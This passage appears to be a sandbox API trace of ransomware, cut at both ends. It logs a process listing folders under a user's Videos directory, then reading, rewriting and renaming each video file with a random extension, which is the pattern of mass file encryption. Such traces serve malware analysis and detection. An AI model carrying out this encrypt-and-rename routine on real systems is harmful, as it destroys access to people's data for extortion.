lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi.4oc6sd", lpFilePart=0x0) returned 0x49 [0159.578] SetErrorMode (uMode=0x1) returned 0x0 [0159.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\rjmao5c8ljozfjeul.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473aee0, ftCreationTime.dwHighDateTime=0x1d8be24, ftLastAccessTime.dwLowDateTime=0x1fbe6790, ftLastAccessTime.dwHighDateTime=0x1d8be9b, ftLastWriteTime.dwLowDateTime=0x5b969f40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x13940)) returned 1 [0159.579] SetErrorMode (uMode=0x0) returned 0x1 [0159.579] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\rjmao5c8ljozfjeul.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi.4oc6sd" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\rjmao5c8ljozfjeul.avi.4oc6sd")) returned 1 [0159.582] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv", lpFilePart=0x0) returned 0x45 [0159.582] SetErrorMode (uMode=0x1) returned 0x0 [0159.582] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\x-0qrulw3q2mmdrbe44m.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.582] GetFileType (hFile=0x1d0) returned 0x1 [0159.583] SetErrorMode (uMode=0x0) returned 0x1 [0159.583] GetFileType (hFile=0x1d0) returned 0x1 [0159.583] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x4dce [0159.583] ReadFile (in: hFile=0x1d0, lpBuffer=0x294c9b8, nNumberOfBytesToRead=0x4dce, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x294c9b8*, lpNumberOfBytesRead=0x21d358*=0x4dce, lpOverlapped=0x0) returned 1 [0159.612] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv", lpFilePart=0x0) returned 0x45 [0159.612] SetErrorMode (uMode=0x1) returned 0x0 [0159.612] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\x-0qrulw3q2mmdrbe44m.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.614] GetFileType (hFile=0x1d0) returned 0x1 [0159.614] SetErrorMode (uMode=0x0) returned 0x1 [0159.614] GetFileType (hFile=0x1d0) returned 0x1 [0159.614] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a44ce8*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2a44ce8*, lpNumberOfBytesWritten=0x21d3d8*=0x4dd0, lpOverlapped=0x0) returned 1 [0159.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv", lpFilePart=0x0) returned 0x45 [0159.616] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv.t3py9c", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv.t3py9c", lpFilePart=0x0) returned 0x4c [0159.616] SetErrorMode (uMode=0x1) returned 0x0 [0159.616] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\x-0qrulw3q2mmdrbe44m.flv"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab2a040, ftCreationTime.dwHighDateTime=0x1d8b1c2, ftLastAccessTime.dwLowDateTime=0xba7c1640, ftLastAccessTime.dwHighDateTime=0x1d8bc8b, ftLastWriteTime.dwLowDateTime=0x5b9b6200, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd0)) returned 1 [0159.617] SetErrorMode (uMode=0x0) returned 0x1 [0159.617] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\x-0qrulw3q2mmdrbe44m.flv"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\X-0qRulw3Q2MmDRBe44M.flv.t3py9c" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\x-0qrulw3q2mmdrbe44m.flv.t3py9c")) returned 1 [0159.618] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf", lpFilePart=0x0) returned 0x40 [0159.618] SetErrorMode (uMode=0x1) returned 0x0 [0159.618] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8acc1910, ftCreationTime.dwHighDateTime=0x1d8b5d6, ftLastAccessTime.dwLowDateTime=0xe5ab6520, ftLastAccessTime.dwHighDateTime=0x1d8be91, ftLastWriteTime.dwLowDateTime=0xe5ab6520, ftLastWriteTime.dwHighDateTime=0x1d8be91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8acc1910, ftCreationTime.dwHighDateTime=0x1d8b5d6, ftLastAccessTime.dwLowDateTime=0xe5ab6520, ftLastAccessTime.dwHighDateTime=0x1d8be91, ftLastWriteTime.dwLowDateTime=0xe5ab6520, ftLastWriteTime.dwHighDateTime=0x1d8be91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1744390, ftCreationTime.dwHighDateTime=0x1d8b45d, ftLastAccessTime.dwLowDateTime=0x53d89740, ftLastAccessTime.dwHighDateTime=0x1d8beae, ftLastWriteTime.dwLowDateTime=0x53d89740, ftLastWriteTime.dwHighDateTime=0x1d8beae, nFileSizeHigh=0x0, nFileSizeLow=0x15ef1, dwReserved0=0x0, dwReserved1=0x0, cFileName="fx64s9JItVP7F3.mkv", cAlternateFileName="FX64S9~1.MKV")) returned 1 [0159.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93581b40, ftCreationTime.dwHighDateTime=0x1d8bf0b, ftLastAccessTime.dwLowDateTime=0x587b8ff0, ftLastAccessTime.dwHighDateTime=0x1d8c002, ftLastWriteTime.dwLowDateTime=0x587b8ff0, ftLastWriteTime.dwHighDateTime=0x1d8c002, nFileSizeHigh=0x0, nFileSizeLow=0x14437, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kaxca8LxACexpqGs8.avi", cAlternateFileName="KAXCA8~1.AVI")) returned 1 [0159.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf782a10, ftCreationTime.dwHighDateTime=0x1d8b1b9, ftLastAccessTime.dwLowDateTime=0xc9aa6ce0, ftLastAccessTime.dwHighDateTime=0x1d8b1c6, ftLastWriteTime.dwLowDateTime=0xc9aa6ce0, ftLastWriteTime.dwHighDateTime=0x1d8b1c6, nFileSizeHigh=0x0, nFileSizeLow=0xdf7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="O-Nl.flv", cAlternateFileName="")) returned 1 [0159.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf62f50, ftCreationTime.dwHighDateTime=0x1d8b911, ftLastAccessTime.dwLowDateTime=0x22503df0, ftLastAccessTime.dwHighDateTime=0x1d8bf07, ftLastWriteTime.dwLowDateTime=0x22503df0, ftLastWriteTime.dwHighDateTime=0x1d8bf07, nFileSizeHigh=0x0, nFileSizeLow=0xeb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSjkP_2AZ.mkv", cAlternateFileName="PSJKP_~1.MKV")) returned 1 [0159.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1e9070, ftCreationTime.dwHighDateTime=0x1d8bfcc, ftLastAccessTime.dwLowDateTime=0x76f05110, ftLastAccessTime.dwHighDateTime=0x1d8c0c9, ftLastWriteTime.dwLowDateTime=0x76f05110, ftLastWriteTime.dwHighDateTime=0x1d8c0c9, nFileSizeHigh=0x0, nFileSizeLow=0x13b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="V2mn8JsxE2Wt-PJaw2f.mp4", cAlternateFileName="V2MN8J~1.MP4")) returned 1 [0159.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbecf4050, ftCreationTime.dwHighDateTime=0x1d8b5d3, ftLastAccessTime.dwLowDateTime=0x24f61940, ftLastAccessTime.dwHighDateTime=0x1d8bd49, ftLastWriteTime.dwLowDateTime=0x24f61940, ftLastWriteTime.dwHighDateTime=0x1d8bd49, nFileSizeHigh=0x0, nFileSizeLow=0xac89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wt4Ve-.mkv", cAlternateFileName="")) returned 1 [0159.619] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbecf4050, ftCreationTime.dwHighDateTime=0x1d8b5d3, ftLastAccessTime.dwLowDateTime=0x24f61940, ftLastAccessTime.dwHighDateTime=0x1d8bd49, ftLastWriteTime.dwLowDateTime=0x24f61940, ftLastWriteTime.dwHighDateTime=0x1d8bd49, nFileSizeHigh=0x0, nFileSizeLow=0xac89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wt4Ve-.mkv", cAlternateFileName="")) returned 0 [0159.620] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.620] SetErrorMode (uMode=0x0) returned 0x1 [0159.620] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf", lpFilePart=0x0) returned 0x40 [0159.620] SetErrorMode (uMode=0x1) returned 0x0 [0159.620] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8acc1910, ftCreationTime.dwHighDateTime=0x1d8b5d6, ftLastAccessTime.dwLowDateTime=0xe5ab6520, ftLastAccessTime.dwHighDateTime=0x1d8be91, ftLastWriteTime.dwLowDateTime=0xe5ab6520, ftLastWriteTime.dwHighDateTime=0x1d8be91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8acc1910, ftCreationTime.dwHighDateTime=0x1d8b5d6, ftLastAccessTime.dwLowDateTime=0xe5ab6520, ftLastAccessTime.dwHighDateTime=0x1d8be91, ftLastWriteTime.dwLowDateTime=0xe5ab6520, ftLastWriteTime.dwHighDateTime=0x1d8be91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1744390, ftCreationTime.dwHighDateTime=0x1d8b45d, ftLastAccessTime.dwLowDateTime=0x53d89740, ftLastAccessTime.dwHighDateTime=0x1d8beae, ftLastWriteTime.dwLowDateTime=0x53d89740, ftLastWriteTime.dwHighDateTime=0x1d8beae, nFileSizeHigh=0x0, nFileSizeLow=0x15ef1, dwReserved0=0x0, dwReserved1=0x0, cFileName="fx64s9JItVP7F3.mkv", cAlternateFileName="FX64S9~1.MKV")) returned 1 [0159.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93581b40, ftCreationTime.dwHighDateTime=0x1d8bf0b, ftLastAccessTime.dwLowDateTime=0x587b8ff0, ftLastAccessTime.dwHighDateTime=0x1d8c002, ftLastWriteTime.dwLowDateTime=0x587b8ff0, ftLastWriteTime.dwHighDateTime=0x1d8c002, nFileSizeHigh=0x0, nFileSizeLow=0x14437, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kaxca8LxACexpqGs8.avi", cAlternateFileName="KAXCA8~1.AVI")) returned 1 [0159.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf782a10, ftCreationTime.dwHighDateTime=0x1d8b1b9, ftLastAccessTime.dwLowDateTime=0xc9aa6ce0, ftLastAccessTime.dwHighDateTime=0x1d8b1c6, ftLastWriteTime.dwLowDateTime=0xc9aa6ce0, ftLastWriteTime.dwHighDateTime=0x1d8b1c6, nFileSizeHigh=0x0, nFileSizeLow=0xdf7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="O-Nl.flv", cAlternateFileName="")) returned 1 [0159.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf62f50, ftCreationTime.dwHighDateTime=0x1d8b911, ftLastAccessTime.dwLowDateTime=0x22503df0, ftLastAccessTime.dwHighDateTime=0x1d8bf07, ftLastWriteTime.dwLowDateTime=0x22503df0, ftLastWriteTime.dwHighDateTime=0x1d8bf07, nFileSizeHigh=0x0, nFileSizeLow=0xeb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSjkP_2AZ.mkv", cAlternateFileName="PSJKP_~1.MKV")) returned 1 [0159.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1e9070, ftCreationTime.dwHighDateTime=0x1d8bfcc, ftLastAccessTime.dwLowDateTime=0x76f05110, ftLastAccessTime.dwHighDateTime=0x1d8c0c9, ftLastWriteTime.dwLowDateTime=0x76f05110, ftLastWriteTime.dwHighDateTime=0x1d8c0c9, nFileSizeHigh=0x0, nFileSizeLow=0x13b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="V2mn8JsxE2Wt-PJaw2f.mp4", cAlternateFileName="V2MN8J~1.MP4")) returned 1 [0159.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbecf4050, ftCreationTime.dwHighDateTime=0x1d8b5d3, ftLastAccessTime.dwLowDateTime=0x24f61940, ftLastAccessTime.dwHighDateTime=0x1d8bd49, ftLastWriteTime.dwLowDateTime=0x24f61940, ftLastWriteTime.dwHighDateTime=0x1d8bd49, nFileSizeHigh=0x0, nFileSizeLow=0xac89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wt4Ve-.mkv", cAlternateFileName="")) returned 1 [0159.621] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbecf4050, ftCreationTime.dwHighDateTime=0x1d8b5d3, ftLastAccessTime.dwLowDateTime=0x24f61940, ftLastAccessTime.dwHighDateTime=0x1d8bd49, ftLastWriteTime.dwLowDateTime=0x24f61940, ftLastWriteTime.dwHighDateTime=0x1d8bd49, nFileSizeHigh=0x0, nFileSizeLow=0xac89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wt4Ve-.mkv", cAlternateFileName="")) returned 0 [0159.621] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.622] SetErrorMode (uMode=0x0) returned 0x1 [0159.622] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi", lpFilePart=0x0) returned 0x56 [0159.622] SetErrorMode (uMode=0x1) returned 0x0 [0159.622] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\kaxca8lxacexpqgs8.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.622] GetFileType (hFile=0x1d0) returned 0x1 [0159.622] SetErrorMode (uMode=0x0) returned 0x1 [0159.622] GetFileType (hFile=0x1d0) returned 0x1 [0159.622] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x14437 [0159.623] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a4d1d0, nNumberOfBytesToRead=0x14437, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2a4d1d0*, lpNumberOfBytesRead=0x21d298*=0x14437, lpOverlapped=0x0) returned 1 [0159.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi", lpFilePart=0x0) returned 0x56 [0159.714] SetErrorMode (uMode=0x1) returned 0x0 [0159.715] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\kaxca8lxacexpqgs8.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.718] GetFileType (hFile=0x1d0) returned 0x1 [0159.718] SetErrorMode (uMode=0x0) returned 0x1 [0159.718] GetFileType (hFile=0x1d0) returned 0x1 [0159.718] WriteFile (in: hFile=0x1d0, lpBuffer=0x295e190*, nNumberOfBytesToWrite=0x14440, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x295e190*, lpNumberOfBytesWritten=0x21d318*=0x14440, lpOverlapped=0x0) returned 1 [0159.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi", lpFilePart=0x0) returned 0x56 [0159.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi.r2w9gl", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi.r2w9gl", lpFilePart=0x0) returned 0x5d [0159.721] SetErrorMode (uMode=0x1) returned 0x0 [0159.721] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\kaxca8lxacexpqgs8.avi"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93581b40, ftCreationTime.dwHighDateTime=0x1d8bf0b, ftLastAccessTime.dwLowDateTime=0x587b8ff0, ftLastAccessTime.dwHighDateTime=0x1d8c002, ftLastWriteTime.dwLowDateTime=0x5bac0ba0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x14440)) returned 1 [0159.722] SetErrorMode (uMode=0x0) returned 0x1 [0159.722] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\kaxca8lxacexpqgs8.avi"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\Kaxca8LxACexpqGs8.avi.r2w9gl" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\kaxca8lxacexpqgs8.avi.r2w9gl")) returned 1 [0159.723] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv", lpFilePart=0x0) returned 0x49 [0159.723] SetErrorMode (uMode=0x1) returned 0x0 [0159.723] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\o-nl.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.723] GetFileType (hFile=0x1d0) returned 0x1 [0159.723] SetErrorMode (uMode=0x0) returned 0x1 [0159.723] GetFileType (hFile=0x1d0) returned 0x1 [0159.724] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0xdf7a [0159.724] ReadFile (in: hFile=0x1d0, lpBuffer=0x29735f0, nNumberOfBytesToRead=0xdf7a, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x29735f0*, lpNumberOfBytesRead=0x21d298*=0xdf7a, lpOverlapped=0x0) returned 1 [0159.871] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv", lpFilePart=0x0) returned 0x49 [0159.871] SetErrorMode (uMode=0x1) returned 0x0 [0159.871] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\o-nl.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.872] GetFileType (hFile=0x1d0) returned 0x1 [0159.872] SetErrorMode (uMode=0x0) returned 0x1 [0159.872] GetFileType (hFile=0x1d0) returned 0x1 [0159.872] WriteFile (in: hFile=0x1d0, lpBuffer=0x2876d80*, 